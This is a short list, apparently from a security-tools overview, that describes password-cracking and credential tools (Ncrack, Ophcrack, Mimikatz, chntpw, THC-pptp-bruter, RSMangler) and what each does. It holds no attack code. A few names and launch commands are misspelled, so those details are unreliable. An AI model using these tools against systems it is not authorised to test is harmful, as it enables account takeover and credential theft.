- Ncrack (“ncrack”)—very fast network authentication cracking tool which supports multiple protocols including SSH, RDP, FTP, Telnet, HTTP(S), WordPress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM.
- Ophcrack (“ophcrack”)—cracks Windows passwords with Rainbow tables.
- Mimikatz (“minikatz”) — uses admin rights on Windows to display passwords in plaintext.
- Chntpw (“sudo chntpw”) —change password of a user in a Windows SAM file, or invoke registry editor. Should handle both 32 and 64 bit windows and all version from NT3.x to Win8.1.
- THC-ppt-bruter (“thc-pptp-bruter”) — this brute forcer tool works against PPTP VPN endpoints. It supports MSChapV2 authentication. Windows-Hack reuses the LCP connection with the same caller-id. This gets around MS’s anti-brute forcing protection. It’s enabled by default. It has been tested against Cisco and Microsoft end-points.
- Rsmangler (“rsmangler”)— takes a wordlist and perform various manipulations on it similar to those done by John the Ripper the main difference being that it will first take the input words and generate all permutations and the acronym of the words (in order they appear in the file) before it applies the rest of the mangles..